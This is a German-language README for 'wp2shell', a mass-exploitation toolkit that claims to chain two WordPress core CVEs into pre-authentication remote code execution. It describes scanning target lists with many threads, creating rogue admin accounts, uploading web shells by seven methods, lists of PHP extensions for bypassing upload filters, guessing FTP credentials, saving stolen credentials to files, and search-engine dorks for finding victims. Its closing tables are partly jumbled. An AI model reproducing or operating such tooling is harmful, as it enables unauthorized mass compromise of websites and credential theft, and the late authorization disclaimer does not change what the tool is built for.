
WordPress Core Pre-Auth RCE — Batch-Routen-Konfusion + SQL-Injection
CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)
Exploitation-Toolkit ohne Abhängigkeiten für die wp2shell-Schwachstellenkette im WordPress Core. Eine einzige anonyme HTTP-Anfrage führt auf einer Standard-WordPress-Installation zur Remote-Codeausführung, ohne dass Plugins erforderlich sind.
| Bereich | Auswirkung | Behoben in |
|---|---|---|
| 7.0.0 – 7.0.1 | Vollständige RCE | 7.0.2 |
Keine Plugins oder spezielle Konfiguration erforderlich. Eine reine WordPress-Installation ist ausnutzbar.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests nur für den Expander)log/scanned.txt überspringt bereits gescannte ZieleAlle 7 Methoden werden parallel über ThreadPoolExecutor ausgeführt. Die erste erfolgreiche Methode gewinnt, der Rest wird abgebrochen.
Dateiendungen für den Medien-Upload: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Versuchte FTP-Zugangsdaten: localhost / 127.0.0.1 mit root / www-data / WordPress-Admin-Zugangsdaten
| Datei | Inhalt |
|---|---|
result.txt | Admin-Zugangsdaten: url.com/wp-login.php:user:pass |
result_upload.txt | Shell-URLs: shell_url | login_url:user:pass | method |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
Dieses Tool dient ausschließlich der autorisierten Sicherheitsforschung und Penetrationstests. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung besitzen. Die Autoren übernehmen keine Haftung für Missbrauch.
MIT-Lizenz. Einzelheiten finden Sie in LICENSE.
| Vollständige RCE |
| 6.9.5 |
| 6.8.0 – 6.8.5 | Nur SQLi | 6.8.6 |
| # | Methode | Beschreibung |
|---|
| 1 | direct-plugin | Zip per /wp-admin/plugin-install.php hochladen |
| 2 | direct-theme | Zip per /wp-admin/theme-install.php hochladen |
| 3 | rest-api | Zip per POST an /wp-json/wp/v2/plugins mit Auth-Cookie senden |
| 4 | plugin-editor | PHP direkt über /wp-admin/plugin-editor.php schreiben |
| 5 | theme-editor | PHP in das aktive Theme-Verzeichnis schreiben |
| 6 | ftp-bypass | FTP-Zugangsdaten übermitteln, wenn WordPress danach fragt |
| 7 | media-upload | PHP über die Mediathek mit 15 Dateiendungsvarianten hochladen |
log/scanned.txt |
| Alle gescannten Hosts (automatisches Überspringen bei erneutem Lauf) |